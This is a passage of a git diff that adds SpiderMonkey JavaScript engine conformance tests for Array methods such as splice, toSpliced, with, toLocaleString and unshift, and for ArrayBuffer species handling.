+test("slice", [], 5, "get:slice,get:length,get:constructor,c-get:Symbol(Symbol.species),get:0,define:0:1:true:true:true,get:1,define:1:2:true:true:true,get:2,define:2:3:true:true:true,get:3,define:3:4:true:true:true,get:4,define:4:5:true:true:true,set:length:5,");
+test("splice", [0, 5], 5, "get:splice,get:length,get:constructor,c-get:Symbol(Symbol.species),get:0,define:0:1:true:true:true,get:1,define:1:2:true:true:true,get:2,define:2:3:true:true:true,get:3,define:3:4:true:true:true,get:4,define:4:5:true:true:true,set:length:5,");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/splice-return-array-elements-defined-not-set.js b/js/src/tests/non262/Array/splice-return-array-elements-defined-not-set.js
new file mode 100644
index 0000000000..2f5eca610d
--- /dev/null
+++ b/js/src/tests/non262/Array/splice-return-array-elements-defined-not-set.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 668024;
+var summary =
+ 'Array.prototype.splice should define, not set, the elements of the array ' +
+ 'it returns';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Object.defineProperty(Object.prototype, 2,
+ {
+ set: function(v)
+ {
+ throw new Error("setter on Object.prototype called!");
+ },
+ get: function() { return "fnord"; },
+ enumerable: false,
+ configurable: true
+ });
+
+var arr = [0, 1, 2, 3, 4, 5];
+var removed = arr.splice(0, 6);
+
+assertEq(arr.length, 0);
+assertEq(removed.length, 6);
+assertEq(removed[0], 0);
+assertEq(removed[1], 1);
+assertEq(removed[2], 2);
+assertEq(removed[3], 3);
+assertEq(removed[4], 4);
+assertEq(removed[5], 5);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/splice-species-changes-length.js b/js/src/tests/non262/Array/splice-species-changes-length.js
new file mode 100644
index 0000000000..0e4ed32b01
--- /dev/null
+++ b/js/src/tests/non262/Array/splice-species-changes-length.js
@@ -0,0 +1,48 @@
+// Case 1: splice() removes an element from the array.
+{
+ let array = [];
+ array.push(0, 1, 2);
+
+ array.constructor = {
+ [Symbol.species]: function(n) {
+ // Increase the initialized length of the array.
+ array.push(3, 4, 5);
+
+ // Make the length property non-writable.
+ Object.defineProperty(array, "length", {writable: false});
+
+ return new Array(n);
+ }
+ }
+
+ assertThrowsInstanceOf(() => Array.prototype.splice.call(array, 0, 1), TypeError);
+
+ assertEq(array.length, 6);
+ assertEqArray(array, [1, 2, /* hole */, 3, 4, 5]);
+}
+
+// Case 2: splice() adds an element to the array.
+{
+ let array = [];
+ array.push(0, 1, 2);
+
+ array.constructor = {
+ [Symbol.species]: function(n) {
+ // Increase the initialized length of the array.
+ array.push(3, 4, 5);
+
+ // Make the length property non-writable.
+ Object.defineProperty(array, "length", {writable: false});
+
+ return new Array(n);
+ }
+ }
+
+ assertThrowsInstanceOf(() => Array.prototype.splice.call(array, 0, 0, 123), TypeError);
+
+ assertEq(array.length, 6);
+ assertEqArray(array, [123, 0, 1, 2, 4, 5]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/splice-suppresses-unvisited-indexes.js b/js/src/tests/non262/Array/splice-suppresses-unvisited-indexes.js
new file mode 100644
index 0000000000..717116fa0a
--- /dev/null
+++ b/js/src/tests/non262/Array/splice-suppresses-unvisited-indexes.js
@@ -0,0 +1,61 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 668024;
+var summary =
+ 'Array.prototype.splice, when it deletes elements, should make sure any ' +
+ 'deleted but not visited elements are suppressed from subsequent enumeration';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [0, 1, 2, 3, 4, 5, , 7];
+
+var seen = [];
+var sawOneBeforeThree = true;
+for (var p in arr)
+{
+ if (p === "1")
+ {
+ // The order of enumeration of properties is unspecified, so technically,
+ // it would be kosher to enumerate "1" last, say, such that all properties
+ // in the array actually were enumerated, including an index which splice
+ // would delete. Don't flag that case as a failure. (SpiderMonkey doesn't
+ // do this, and neither do any of the other browser engines, but it is
+ // permissible behavior.)
+ if (seen.indexOf("3") >= 0)
+ {
+ sawOneBeforeThree = false;
+ break;
+ }
+
+ arr.splice(2, 3);
+ }
+
+ seen.push(p);
+}
+
+if (sawOneBeforeThree)
+{
+ // ES5 12.6.4 states:
+ //
+ // If a property that has not yet been visited during enumeration is
+ // deleted, then it will not be visited.
+ //
+ // So if we haven't seen "3" by the time we see "1", the splice call above
+ // will delete "3", and therefore we must not see it.
+ assertEq(seen.indexOf("3"), -1);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/to-length.js b/js/src/tests/non262/Array/to-length.js
new file mode 100644
index 0000000000..d6b4c6d7cd
--- /dev/null
+++ b/js/src/tests/non262/Array/to-length.js
@@ -0,0 +1,40 @@
+const max = Number.MAX_SAFE_INTEGER;
+
+assertEq(Array.prototype.indexOf.call({length: Infinity, [max - 1]: 'test'}, 'test', max - 3), max - 1);
+assertEq(Array.prototype.lastIndexOf.call({length: Infinity, [max - 2]: 'test', [max - 1]: 'test2'}, 'test'), max - 2);
+
+// ToLength doesn't truncate Infinity to zero, so the callback should be invoked
+assertThrowsValue(() => Array.prototype.every.call({length: Infinity, [0]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.some.call({length: Infinity, [0]: undefined}, () => { throw "invoked" }), "invoked");
+// Timeout before calling our callback
+// assertThrowsValue(() => Array.prototype.sort.call({length: Infinity}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.forEach.call({length: Infinity, [0]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.filter.call({length: Infinity, [0]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.reduce.call({length: Infinity, [0]: undefined, [1]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.reduceRight.call({length: Infinity, [max - 1]: undefined, [max - 2]: undefined}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.find.call({length: Infinity}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.findIndex.call({length: Infinity}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.fill.call({length: Infinity, set "0"(v) { throw "invoked"; }}, () => { throw "invoked" }), "invoked");
+assertThrowsValue(() => Array.prototype.copyWithin.call({length: Infinity, get [max - 2]() { throw "invoked"; }}, max - 2, max - 2), "invoked");
+
+assertEq(Array.prototype.includes.call({length: Infinity, [max - 1]: "test"}, "test", max - 3), true);
+
+// Invoking the Array constructor with MAX_SAFE_INTEGER will throw, 0 won't
+assertThrowsInstanceOf(() => Array.from({length: Infinity}), RangeError);
+
+// Make sure ArraySpeciesCreate is called with ToLength applied to the length property
+var proxy = new Proxy([], {
+ get(target, property) {
+ if (property === "length")
+ return Infinity;
+
+ assertEq(property, "constructor");
+ function fakeConstructor(length) { assertEq(length, max); throw "invoked"; };
+ fakeConstructor[Symbol.species] = fakeConstructor;
+ return fakeConstructor;
+ }
+})
+assertThrowsValue(() => Array.prototype.map.call(proxy, () => { }), "invoked");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/toLocaleString-01.js b/js/src/tests/non262/Array/toLocaleString-01.js
new file mode 100644
index 0000000000..458283e635
--- /dev/null
+++ b/js/src/tests/non262/Array/toLocaleString-01.js
@@ -0,0 +1,36 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 562446;
+var summary = 'ES5: Array.prototype.toLocaleString';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o;
+
+o = { length: 2, 0: 7, 1: { toLocaleString: function() { return "baz" } } };
+assertEq(Array.prototype.toLocaleString.call(o), "7,baz");
+
+o = {};
+assertEq(Array.prototype.toLocaleString.call(o), "");
+
+var log = '';
+arr = {length: {valueOf: function () { log += "L"; return 2; }},
+ 0: "x", 1: "z"};
+assertEq(Array.prototype.toLocaleString.call(arr), "x,z");
+assertEq(log, "L");
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/toLocaleString-nointl.js b/js/src/tests/non262/Array/toLocaleString-nointl.js
new file mode 100644
index 0000000000..b0cee83049
--- /dev/null
+++ b/js/src/tests/non262/Array/toLocaleString-nointl.js
@@ -0,0 +1,26 @@
+if (typeof Intl !== "object") {
+ const localeSep = [,,].toLocaleString();
+
+ const obj = {
+ toLocaleString() {
+ assertEq(arguments.length, 0);
+ return "pass";
+ }
+ };
+
+ // Ensure no arguments are passed to the array elements.
+ // - Single element case.
+ assertEq([obj].toLocaleString(), "pass");
+ // - More than one element.
+ assertEq([obj, obj].toLocaleString(), "pass" + localeSep + "pass");
+
+ // Ensure no arguments are passed to the array elements even if supplied.
+ const locales = {}, options = {};
+ // - Single element case.
+ assertEq([obj].toLocaleString(locales, options), "pass");
+ // - More than one element.
+ assertEq([obj, obj].toLocaleString(locales, options), "pass" + localeSep + "pass");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/toLocaleString.js b/js/src/tests/non262/Array/toLocaleString.js
new file mode 100644
index 0000000000..4a16cb4a49
--- /dev/null
+++ b/js/src/tests/non262/Array/toLocaleString.js
@@ -0,0 +1,14 @@
+"use strict";
+
+Object.defineProperty(String.prototype, "toLocaleString", {
+ get() {
+ assertEq(typeof this, "string");
+
+ return function() { return typeof this; };
+ }
+})
+
+assertEq(["test"].toLocaleString(), "string");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/toSpliced-dense.js b/js/src/tests/non262/Array/toSpliced-dense.js
new file mode 100644
index 0000000000..1108f1b5f8
--- /dev/null
+++ b/js/src/tests/non262/Array/toSpliced-dense.js
@@ -0,0 +1,127 @@
+// |reftest| shell-option(--enable-change-array-by-copy) skip-if(!Array.prototype.toSpliced)
+
+const startIndices = [
+ -10, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 10,
+];
+
+const deleteCounts = [
+ 0, 1, 2, 3, 4, 5, 10,
+];
+
+const insertCounts = [
+ 0, 1, 2, 3, 4, 5, 10,
+];
+
+const itemsList = insertCounts.map(count => {
+ return new Array(count).fill(0);
+});
+
+const arrays = [
+ // Dense no holes.
+ [],
+ [1],
+ [1,2],
+ [1,2,3],
+ [1,2,3,4],
+ [1,2,3,4,5,6,7,8],
+
+ // Dense trailing holes.
+ [,],
+ [1,,],
+ [1,2,,],
+ [1,2,3,,],
+ [1,2,3,4,,],
+ [1,2,3,4,5,6,7,8,,],
+
+ // Dense leading holes.
+ [,],
+ [,1],
+ [,1,2],
+ [,1,2,3],
+ [,1,2,3,4],
+ [,1,2,3,4,5,6,7,8],
+
+ // Dense with holes.
+ [1,,3],
+ [1,2,,4],
+ [1,,3,,5,6,,8],
+];
+
+const objects = arrays.map(array => {
+ let obj = {
+ length: array.length,
+ };
+ for (let i = 0; i < array.length; ++i) {
+ if (i in array) {
+ obj[i] = array[i];
+ }
+ }
+ return obj;
+});
+
+const objectsWithLargerDenseInitializedLength = arrays.map(array => {
+ let obj = {
+ length: array.length,
+ };
+ for (let i = 0; i < array.length; ++i) {
+ if (i in array) {
+ obj[i] = array[i];
+ }
+ }
+
+ // Add some extra dense elements after |length|.
+ for (let i = 0; i < 5; ++i) {
+ obj[array.length + i] = "extra";
+ }
+
+ return obj;
+});
+
+const thisValues = [
+ ...arrays,
+ ...objects,
+ ...objectsWithLargerDenseInitializedLength,
+];
+
+for (let thisValue of thisValues) {
+ for (let startIndex of startIndices) {
+ for (let deleteCount of deleteCounts) {
+ for (let items of itemsList) {
+ let res = Array.prototype.toSpliced.call(thisValue, startIndex, deleteCount, ...items);
+
+ // Array.prototype.toSpliced(), steps 3-6.
+ let actualStart;
+ if (startIndex < 0) {
+ actualStart = Math.max(thisValue.length + startIndex, 0);
+ } else {
+ actualStart = Math.min(startIndex, thisValue.length);
+ }
+
+ // Array.prototype.toSpliced(), step 10.
+ let actualDeleteCount = Math.min(Math.max(0, deleteCount), thisValue.length - actualStart);
+
+ let newLength = thisValue.length + items.length - actualDeleteCount;
+ assertEq(res.length, newLength);
+
+ for (let i = 0; i < actualStart; ++i) {
+ assertEq(Object.hasOwn(res, i), true);
+ assertEq(res[i], thisValue[i]);
+ }
+
+ for (let i = 0; i < items.length; ++i) {
+ assertEq(Object.hasOwn(res, actualStart + i), true);
+ assertEq(res[actualStart + i], items[i]);
+ }
+
+ for (let i = 0; i < newLength - actualStart - items.length; ++i) {
+ assertEq(Object.hasOwn(res, actualStart + items.length + i), true);
+ assertEq(res[actualStart + items.length + i],
+ thisValue[actualStart + actualDeleteCount + i]);
+ }
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/toSpliced.js b/js/src/tests/non262/Array/toSpliced.js
new file mode 100644
index 0000000000..7c8faf917b
--- /dev/null
+++ b/js/src/tests/non262/Array/toSpliced.js
@@ -0,0 +1,27 @@
+// |reftest| shell-option(--enable-change-array-by-copy) skip-if(!Array.prototype.toSpliced)
+
+Object.defineProperty(Array.prototype, 0, {
+ set() {
+ throw "bad 0";
+ },
+});
+
+Object.defineProperty(Array.prototype, 1, {
+ set() {
+ throw "bad 1";
+ },
+});
+
+assertDeepEq([].toSpliced(0, 0, 1), [1]);
+
+assertDeepEq([0].toSpliced(0, 0, 0), [0, 0]);
+assertDeepEq([0].toSpliced(0, 0, 1), [1, 0]);
+assertDeepEq([0].toSpliced(0, 1, 0), [0]);
+assertDeepEq([0].toSpliced(0, 1, 1), [1]);
+assertDeepEq([0].toSpliced(1, 0, 0), [0, 0]);
+assertDeepEq([0].toSpliced(1, 0, 1), [0, 1]);
+assertDeepEq([0].toSpliced(1, 1, 0), [0, 0]);
+assertDeepEq([0].toSpliced(1, 1, 1), [0, 1]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/toString-01.js b/js/src/tests/non262/Array/toString-01.js
new file mode 100644
index 0000000000..a92fe6369b
--- /dev/null
+++ b/js/src/tests/non262/Array/toString-01.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 562446;
+var summary = 'ES5: Array.prototype.toString';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o;
+
+o = { join: function() { assertEq(arguments.length, 0); return "ohai"; } };
+assertEq(Array.prototype.toString.call(o), "ohai");
+
+o = {};
+assertEq(Array.prototype.toString.call(o), "[object Object]");
+
+Array.prototype.join = function() { return "kthxbai"; };
+assertEq(Array.prototype.toString.call([]), "kthxbai");
+
+o = { join: 17 };
+assertEq(Array.prototype.toString.call(o), "[object Object]");
+
+o = { get join() { throw 42; } };
+try
+{
+ var str = Array.prototype.toString.call(o);
+ assertEq(true, false,
+ "expected an exception calling [].toString on an object with a " +
+ "join getter that throws, got " + str + " instead");
+}
+catch (e)
+{
+ assertEq(e, 42,
+ "expected thrown e === 42 when calling [].toString on an object " +
+ "with a join getter that throws, got " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/unscopables.js b/js/src/tests/non262/Array/unscopables.js
new file mode 100644
index 0000000000..43bc983ea5
--- /dev/null
+++ b/js/src/tests/non262/Array/unscopables.js
@@ -0,0 +1,73 @@
+let Array_unscopables = Array.prototype[Symbol.unscopables];
+
+let desc = Reflect.getOwnPropertyDescriptor(Array.prototype, Symbol.unscopables);
+assertDeepEq(desc, {
+ value: Array_unscopables,
+ writable: false,
+ enumerable: false,
+ configurable: true
+});
+
+assertEq(Reflect.getPrototypeOf(Array_unscopables), null);
+
+let desc2 = Object.getOwnPropertyDescriptor(Array_unscopables, "values");
+assertDeepEq(desc2, {
+ value: true,
+ writable: true,
+ enumerable: true,
+ configurable: true
+});
+
+let keys = Reflect.ownKeys(Array_unscopables);
+
+// FIXME: Once bug 1826643 is fixed, change this test so that all
+// the keys are in alphabetical order
+let expectedKeys = ["at",
+ "copyWithin",
+ "entries",
+ "fill",
+ "find",
+ "findIndex",
+ "findLast",
+ "findLastIndex",
+ "flat",
+ "flatMap",
+ "includes",
+ "keys",
+ "values",
+ "toReversed",
+ "toSorted",
+ "toSpliced"];
+
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+if (typeof getRealmConfiguration === "undefined") {
+ var getRealmConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getRealmConfiguration;
+}
+
+if (!getBuildConfiguration().release_or_beta && getRealmConfiguration().enableArrayGrouping) {
+ expectedKeys.push("group", "groupToMap");
+}
+
+assertDeepEq(keys, expectedKeys);
+
+for (let key of keys)
+ assertEq(Array_unscopables[key], true);
+
+// Test that it actually works
+assertThrowsInstanceOf(() => {
+ with ([]) {
+ return entries;
+ }
+}, ReferenceError);
+
+{
+ let fill = 33;
+ with (Array.prototype) {
+ assertEq(fill, 33);
+ }
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/unshift-01.js b/js/src/tests/non262/Array/unshift-01.js
new file mode 100644
index 0000000000..fbae3294a7
--- /dev/null
+++ b/js/src/tests/non262/Array/unshift-01.js
@@ -0,0 +1,44 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 614070;
+var summary = 'Array.prototype.unshift without args';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// ES6 ToLength clamps length values to 2^53 - 1.
+var MAX_LENGTH = 2**53 - 1;
+
+var a = {};
+a.length = MAX_LENGTH + 1;
+assertEq([].unshift.call(a), MAX_LENGTH);
+assertEq(a.length, MAX_LENGTH);
+
+function testGetSet(len, expected) {
+ var newlen;
+ var a = { get length() { return len; }, set length(v) { newlen = v; } };
+ var res = [].unshift.call(a);
+ assertEq(res, expected);
+ assertEq(newlen, expected);
+}
+
+testGetSet(0, 0);
+testGetSet(10, 10);
+testGetSet("1", 1);
+testGetSet(null, 0);
+testGetSet(MAX_LENGTH + 2, MAX_LENGTH);
+testGetSet(-5, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/unshift-with-enumeration.js b/js/src/tests/non262/Array/unshift-with-enumeration.js
new file mode 100644
index 0000000000..fbf451b8cc
--- /dev/null
+++ b/js/src/tests/non262/Array/unshift-with-enumeration.js
@@ -0,0 +1,18 @@
+function f(array, method, args) {
+ var called = false;
+ var keys = [];
+ for (var key in array) {
+ keys.push(key);
+ if (!called) {
+ called = true;
+ Reflect.apply(method, array, args);
+ }
+ }
+ return keys;
+}
+
+assertEqArray(f([1, /* hole */, 3], Array.prototype.unshift, [0]), ["0"]);
+assertEqArray(f([1, /* hole */, 3], Array.prototype.splice, [0, 0, 0]), ["0"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/values.js b/js/src/tests/non262/Array/values.js
new file mode 100644
index 0000000000..902a668123
--- /dev/null
+++ b/js/src/tests/non262/Array/values.js
@@ -0,0 +1,20 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+if (Array.prototype.values) {
+ assertEq(Array.prototype.values, Array.prototype[Symbol.iterator]);
+ assertEq(Array.prototype.values.name, "values");
+ assertEq(Array.prototype.values.length, 0);
+
+ function valuesUnscopeable() {
+ var values = "foo";
+ with ([1, 2, 3]) {
+ assertEq(indexOf, Array.prototype.indexOf);
+ assertEq(values, "foo");
+ }
+ }
+ valuesUnscopeable();
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/with-dense.js b/js/src/tests/non262/Array/with-dense.js
new file mode 100644
index 0000000000..6ace2a8457
--- /dev/null
+++ b/js/src/tests/non262/Array/with-dense.js
@@ -0,0 +1,103 @@
+// |reftest| shell-option(--enable-change-array-by-copy) skip-if(!Array.prototype.with)
+
+const indices = [
+ -10, -5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 10,
+];
+
+const arrays = [
+ // Dense no holes.
+ [],
+ [1],
+ [1,2],
+ [1,2,3],
+ [1,2,3,4],
+ [1,2,3,4,5,6,7,8],
+
+ // Dense trailing holes.
+ [,],
+ [1,,],
+ [1,2,,],
+ [1,2,3,,],
+ [1,2,3,4,,],
+ [1,2,3,4,5,6,7,8,,],
+
+ // Dense leading holes.
+ [,],
+ [,1],
+ [,1,2],
+ [,1,2,3],
+ [,1,2,3,4],
+ [,1,2,3,4,5,6,7,8],
+
+ // Dense with holes.
+ [1,,3],
+ [1,2,,4],
+ [1,,3,,5,6,,8],
+];
+
+const objects = arrays.map(array => {
+ let obj = {
+ length: array.length,
+ };
+ for (let i = 0; i < array.length; ++i) {
+ if (i in array) {
+ obj[i] = array[i];
+ }
+ }
+ return obj;
+});
+
+const objectsWithLargerDenseInitializedLength = arrays.map(array => {
+ let obj = {
+ length: array.length,
+ };
+ for (let i = 0; i < array.length; ++i) {
+ if (i in array) {
+ obj[i] = array[i];
+ }
+ }
+
+ // Add some extra dense elements after |length|.
+ for (let i = 0; i < 5; ++i) {
+ obj[array.length + i] = "extra";
+ }
+
+ return obj;
+});
+
+const thisValues = [
+ ...arrays,
+ ...objects,
+ ...objectsWithLargerDenseInitializedLength,
+];
+
+const replacement = {};
+
+for (let thisValue of thisValues) {
+ for (let index of indices) {
+ let actualIndex = index;
+ if (actualIndex < 0) {
+ actualIndex += thisValue.length;
+ }
+
+ if (actualIndex < 0 || actualIndex >= thisValue.length) {
+ continue;
+ }
+
+ let res = Array.prototype.with.call(thisValue, index, replacement);
+ assertEq(res.length, thisValue.length);
+
+ for (let i = 0; i < thisValue.length; ++i) {
+ assertEq(Object.hasOwn(res, i), true);
+
+ if (i === actualIndex) {
+ assertEq(res[i], replacement);
+ } else {
+ assertEq(res[i], thisValue[i]);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/with.js b/js/src/tests/non262/Array/with.js
new file mode 100644
index 0000000000..a50fba74c0
--- /dev/null
+++ b/js/src/tests/non262/Array/with.js
@@ -0,0 +1,17 @@
+// |reftest| shell-option(--enable-change-array-by-copy) skip-if(!Array.prototype.with)
+
+Object.defineProperty(Array.prototype, 0, {
+ set() {
+ throw "bad";
+ },
+});
+
+// Single element case.
+assertDeepEq([0].with(0, 1), [1]);
+
+// More than one element.
+assertDeepEq([1, 2].with(0, 3), [3, 2]);
+assertDeepEq([1, 2].with(1, 3), [1, 3]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/ArrayBuffer/CloneArrayBuffer.js b/js/src/tests/non262/ArrayBuffer/CloneArrayBuffer.js
new file mode 100644
index 0000000000..480314ad8e
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/CloneArrayBuffer.js
@@ -0,0 +1,35 @@
+var BUGNUMBER = 1264941;
+var summary = 'CloneArrayBuffer should be called with byteLength of source typedArray';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(ctor, byteLength) {
+ var abuf = new ctor(byteLength);
+ assertEq(abuf.byteLength, byteLength);
+
+ for (var byteOffset of [0, 16]) {
+ for (var elementLength = 0;
+ elementLength < (byteLength - byteOffset) / Float64Array.BYTES_PER_ELEMENT;
+ elementLength++) {
+ var a1 = new Float64Array(abuf, byteOffset, elementLength);
+ assertEq(a1.buffer.byteLength, byteLength);
+ assertEq(a1.byteLength, elementLength * Float64Array.BYTES_PER_ELEMENT);
+ assertEq(a1.byteOffset, byteOffset);
+
+ var a2 = new Float64Array(a1);
+ assertEq(a2.buffer.byteLength, a1.byteLength);
+ assertEq(a2.byteLength, a1.byteLength);
+ assertEq(a2.byteOffset, 0);
+ }
+ }
+}
+
+test(ArrayBuffer, 16);
+test(ArrayBuffer, 128);
+
+class MyArrayBuffer extends ArrayBuffer {}
+test(MyArrayBuffer, 16);
+test(MyArrayBuffer, 128);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/ArrayBuffer/browser.js b/js/src/tests/non262/ArrayBuffer/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/browser.js
diff --git a/js/src/tests/non262/ArrayBuffer/bug1689503.js b/js/src/tests/non262/ArrayBuffer/bug1689503.js
new file mode 100644
index 0000000000..475ae533cc
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/bug1689503.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs Debugger
+
+let g = newGlobal({ newCompartment: true });
+let dbg = new Debugger(g);
+dbg.memory.trackingAllocationSites = true;
+g.createExternalArrayBuffer(64);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/ArrayBuffer/bug1777413.js b/js/src/tests/non262/ArrayBuffer/bug1777413.js
new file mode 100644
index 0000000000..3c58aecbfc
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/bug1777413.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs shell functions
+
+var b = createExternalArrayBuffer(0);
+assertEq(b.byteLength, 0);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/ArrayBuffer/constructorNotCallable.js b/js/src/tests/non262/ArrayBuffer/constructorNotCallable.js
new file mode 100644
index 0000000000..9df97fe867
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/constructorNotCallable.js
@@ -0,0 +1,8 @@
+assertThrowsInstanceOf(() => ArrayBuffer(), TypeError);
+assertThrowsInstanceOf(() => ArrayBuffer(1), TypeError);
+assertThrowsInstanceOf(() => ArrayBuffer.call(null), TypeError);
+assertThrowsInstanceOf(() => ArrayBuffer.apply(null, []), TypeError);
+assertThrowsInstanceOf(() => Reflect.apply(ArrayBuffer, null, []), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/ArrayBuffer/getter-name.js b/js/src/tests/non262/ArrayBuffer/getter-name.js
new file mode 100644
index 0000000000..434782bfe8
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/getter-name.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1180290;
+var summary = 'ArrayBuffer getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(ArrayBuffer, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(ArrayBuffer.prototype, "byteLength").get.name, "get byteLength");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/ArrayBuffer/shell.js b/js/src/tests/non262/ArrayBuffer/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/shell.js
diff --git a/js/src/tests/non262/ArrayBuffer/slice-species.js b/js/src/tests/non262/ArrayBuffer/slice-species.js
new file mode 100644
index 0000000000..6f025d162c
--- /dev/null
+++ b/js/src/tests/non262/ArrayBuffer/slice-species.js
@@ -0,0 +1,180 @@
+const tests = [
+ [Int8Array, [9, 10, 11, 12, 13, 14, 15, 16]],
+ [Uint8Array, [9, 10, 11, 12, 13, 14, 15, 16]],
+ [Uint8ClampedArray, [9, 10, 11, 12, 13, 14, 15, 16]],
+ [Int16Array, [5, 6, 7, 8]],
+ [Uint16Array, [5, 6, 7, 8]],
+ [Int32Array, [3, 4]],
+ [Uint32Array, [3, 4]],
+ [Float32Array, [3, 4]],
+ [Float64Array, [2]],
+];
+
+let logs = [];
+for (let [ctor, answer] of tests) {
+ let arr = new ctor([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]);
+
+ let proxyProto = new Proxy({}, {
+ get(that, name) {
+ throw new Error("unexpected prop access");
+ }
+ });
+
+ class MyArrayBuffer extends ArrayBuffer {}
+
+ arr.buffer.constructor = new Proxy({}, {
+ get(that, name) {
+ if (name == Symbol.species) {
+ logs.push("get @@species");
+ let C = new Proxy(function(...args) {
+ logs.push("call ctor");
+ return new MyArrayBuffer(...args);
+ }, {
+ get(that, name) {
+ logs.push("get ctor." + String(name));
+ if (name == "prototype") {
+ return proxyProto;
+ }
+ throw new Error("unexpected prop access");
+ }
+ });
+ return C;
+ }
